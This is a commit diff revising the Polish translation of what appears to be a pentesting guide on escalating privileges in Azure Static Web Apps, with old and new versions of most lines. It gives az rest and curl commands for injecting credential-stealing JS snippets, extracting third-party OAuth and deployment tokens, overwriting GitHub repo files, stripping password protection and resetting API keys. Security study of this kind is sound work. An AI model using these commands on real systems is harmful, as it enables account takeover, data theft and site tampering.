Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-18 12:00:52 +00:00
parent fe49784045
commit 630c3f4df6
@@ -4,7 +4,7 @@
## Azure Static Web Apps
Aby uzyskać więcej informacji o tej usłudze, zobacz:
Więcej informacji o tej usłudze znajdziesz w:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,9 +12,9 @@ Aby uzyskać więcej informacji o tej usłudze, zobacz:
### Microsoft.Web/staticSites/snippets/write
Możliwe jest sprawienie, że statyczna strona załaduje dowolny kod HTML poprzez utworzenie snippet. To może pozwolić atakującemu na wstrzyknięcie kodu JS do web app i kradzież wrażliwych informacji, takich jak poświadczenia czy mnemonic keys (w web3 wallets).
Możliwe jest sprawienie, że statyczna strona załaduje dowolny kod HTML przez utworzenie snippet. Może to pozwolić atakującemu na wstrzyknięcie kodu JS do aplikacji webowej i wykradzenie poufnych informacji, takich jak poświadczenia czy klucze mnemoniczne (w web3 wallets).
Poniższe polecenie tworzy snippet, który będzie zawsze ładowany przez web app::
Poniższe polecenie tworzy snippet, który będzie zawsze ładowany przez aplikację webową::
```bash
az rest \
--method PUT \
@@ -33,20 +33,20 @@ az rest \
```
### Odczyt skonfigurowanych poświadczeń stron trzecich
As explained in the App Service section:
Jak wyjaśniono w sekcji App Service:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Uruchamiając poniższe polecenie, można **odczytać poświadczenia stron trzecich** skonfigurowane na bieżącym koncie. Zauważ, że jeśli na przykład niektóre poświadczenia Github są skonfigurowane dla innego użytkownika, nie będziesz w stanie uzyskać dostępu do tokena z innego konta.
Uruchamiając poniższe polecenie można **odczytać skonfigurowane poświadczenia stron trzecich** w bieżącym koncie. Zwróć uwa, że jeśli na przykład niektóre poświadczenia Github są skonfigurowane dla innego użytkownika, nie będziesz w stanie uzyskać dostępu do tokena z innego konta.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Ta komenda zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive.
Poniżej znajdują się przykłady poleceń do sprawdzenia tokenów:
Oto kilka przykładów komend do sprawdzenia tokenów:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Nadpisanie pliku - Nadpisanie tras, HTML, JS...
### Overwrite file - Overwrite routes, HTML, JS...
Jest możliwe **nadpisanie pliku w repozytorium Github** zawierającego aplikację poprzez Azure posiadający **Github token**, wysyłając żądanie takie jak poniższe, które określi ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość commita.
Możliwe jest **nadpisanie pliku w Github repo** zawierającego aplikację przez Azure posiadający **Github token**, wysyłając żądanie takie jak poniższe, które określi ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość commita.
To może być wykorzystane przez atakujących, aby de facto **zmienić zawartość aplikacji webowej** w celu serwowania złośliwych treści (kradzież poświadczeń, słów mnemonicznych...) lub po prostu **przekierować określone ścieżki** na ich własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`.
Może to zostać wykorzystane przez atakujących do zasadniczo **zmiany zawartości aplikacji webowej** w celu serwowania złośliwych treści (kradzież poświadczeń, kluczy mnemonicznych...) lub po prostu do **przekierowania niektórych ścieżek** na własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`.
> [!WARNING]
> Zauważ, że jeśli atakujący zdoła w jakikolwiek sposób przejąć repozytorium Github, mo oni także nadpisać plik bezpośrednio z Github.
> Należy pamiętać, że jeśli atakującemu uda się w jakikolwiek sposób przejąć Github repo, może on również nadpisać plik bezpośrednio z Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
@@ -97,9 +97,9 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
### Microsoft.Web/staticSites/config/write
Dzięki temu uprawnieniu można **zmienić hasło** chroniące static web app lub nawet usunąć ochronę ze wszystkich środowisk, wysyłając żądanie takie jak poniższe:
Dzięki temu uprawnieniu można **zmienić hasło** chroniące static web app lub nawet usunąć ochronę ze wszystkich środowisk, wysyłając żądanie takiego jak poniżej:
```bash
# Change password
az rest --method put \
@@ -133,38 +133,38 @@ az rest --method put \
```
### Microsoft.Web/staticSites/listSecrets/action
To uprawnienie pozwala pobrać **API key deployment token** dla aplikacji statycznej.
To uprawnienie pozwala pobrać **API key deployment token** dla static app.
Używając az rest:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Korzystanie z AzCLI:
Za pomocą AzCLI:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Następnie, aby **zaktualizować aplikację używając tokena** możesz uruchomić następujące polecenie. Zwróć uwagę, że to polecenie zostało wyciągnięte poprzez sprawdzenie, jak działa Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy), ponieważ to właśnie ten, który Azure ustawił domyślnie do użycia. Zatem obraz i parametry mogą zmienić się w przyszłości.
Then, in order to **zaktualizować aplikację przy użyciu tokena** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and parametry could change in the future.
> [!TIP]
> Aby wdrożyć aplikację możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub wykonać następujące kroki:
> Aby wdrożyć aplikację możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub wykonać poniższe kroki:
1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub dowolne inne repo, które chcesz wdrożyć) i uruchom `cd react-basic`.
1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub dowolne inne repo, które chcesz wdrożyć) i wykonaj `cd react-basic`.
2. Zmień kod, który chcesz wdrożyć
3. Wdróż je uruchamiając (pamiętaj, aby zmienić `<api-token>`):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> Nawet jeśli posiadasz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Deployment Authorization Policy** jest ustawiona na **Github**. Aby użyć tokenu, będziesz potrzebować uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia i użyć tokenu API.
> Nawet jeśli posiadasz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Zasada autoryzacji wdrożeń (Deployment Authorization Policy)** jest ustawiona na **Github**. Aby użyć tokena, potrzebujesz uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia na użycie tokena API.
### Microsoft.Web/staticSites/write
Z tym uprawnieniem możliwe jest **zmienienie źródła static web app na inne repozytorium Github**, jednak nie zostanie ono automatycznie sprovisionowane, ponieważ musi to zostać wykonane z poziomu Github Action.
Posiadając to uprawnienie można **zmienić źródło static web app na inne repozytorium Github**, jednak nie zostanie ono automatycznie przygotowane, ponieważ musi to zostać wykonane z poziomu Github Action.
Jednak jeśli **Deployment Authorization Policy** jest ustawiona na **Github**, możliwe jest **zaktualizowanie aplikacji z nowego repozytorium źródłowego!**.
Jednak jeśli **Zasada autoryzacji wdrożeń (Deployment Authorization Policy)** jest ustawiona na **Github**, możliwe jest **zaktualizowanie aplikacji z nowego repozytorium źródłowego!**.
W przypadku gdy **Deployment Authorization Policy** nie jest ustawiona na Github, możesz ją zmienić przy użyciu tego samego uprawnienia `Microsoft.Web/staticSites/write`.
W przypadku gdy **Zasada autoryzacji wdrożeń** nie jest ustawiona na **Github**, możesz ją zmienić używając tego samego uprawnienia `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -250,16 +250,16 @@ action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
Dzięki temu uprawnieniu możliwe jest **zresetować API key dla static web app**, co może potencjalnie DoSing workflows, które automatycznie deployują aplikację.
Dzięki temu uprawnieniu można **zresetować API key of the static web app**, potencjalnie powodując DoSing workflowów, które automatycznie wdrażają aplikację.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
To uprawnienie pozwala **utworzyć zaproszenie dla użytkownika**, aby uzyskał on dostęp do chronionych ścieżek wewnątrz static web app z określoną rolą.
To uprawnienie pozwala **utworzyć zaproszenie dla użytkownika** w celu uzyskania dostępu do chronionych ścieżek wewnątrz static web app z określoną rolą.
Logowanie znajduje się pod ścieżką taką jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownika można zaprosić za pomocą następującego polecenia:
Logowanie znajduje się pod ścieżką taką jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownika można zaprosić następującym poleceniem:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
@@ -272,12 +272,12 @@ az staticwebapp users invite \
```
### Pull Requests
Domyślnie Pull Requests z gałęzi w tym samym repo zostaną automatycznie skompilowane i zbudowane w środowisku staging. To może być wykorzystane przez atakującego mającego uprawnienia do zapisu w repo, ale niezdolnego do obejścia ochrony gałęzi produkcyjnej (zwykle `main`), aby **wdrożyć złośliwą wersję aplikacji** pod adresem URL środowiska staging.
Domyślnie Pull Requests z gałęzi w tym samym repozytorium są automatycznie kompilowane i budowane w środowisku staging. Może to zostać wykorzystane przez atakującego, który ma uprawnienia zapisu do repo, ale nie potrafi obejść zabezpieczeń gałęzi produkcyjnej (zazwyczaj `main`), aby **wdrożyć złośliwą wersję aplikacji** pod URL środowiska staging.
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Zauważ, że domyślnie external PRs nie uruchamiają workflows, chyba że wcześniej scalono przynajmniej 1 PR w repozytorium. Atakujący mógłby wysłać prawidłowy PR do repo, a następnie **wysłać złośliwy PR**, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje nieoczekiwana ochrona: domyślny Github Action do deployowania do static web app wymaga dostępu do secret zawierającego token deploy (np. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) nawet jeśli deploy jest wykonywany przy użyciu IDToken. Oznacza to, że ponieważ external PR nie będzie miał dostępu do tego secret i external PR nie może zmienić Workflow, aby umieścić tam dowolny token bez zaakceptowania PR, **ten atak w praktyce nie zadziała**.
> Zauważ, że domyślnie zewnętrzne PR-y nie uruchamiają workflows, chyba że wcześniej scalono przynajmniej 1 PR do repozytorium. Atakujący mógłby wysłać poprawny PR do repo i **następnie wysłać złośliwy PR**, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje niespodziewana ochrona: domyślna Github Action do wdrożenia w static web app wymaga dostępu do secretu zawierającego token wdrożeniowy (np. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) nawet jeśli wdrożenie jest wykonywane przy użyciu IDToken. Oznacza to, że ponieważ zewnętrzny PR nie będzie miał dostępu do tego secretu i nie może zmienić Workflow, aby umieścić tam dowolny token bez zaakceptowania PR, **ten atak w praktyce nie zadziała**.
{{#include ../../../banners/hacktricks-training.md}}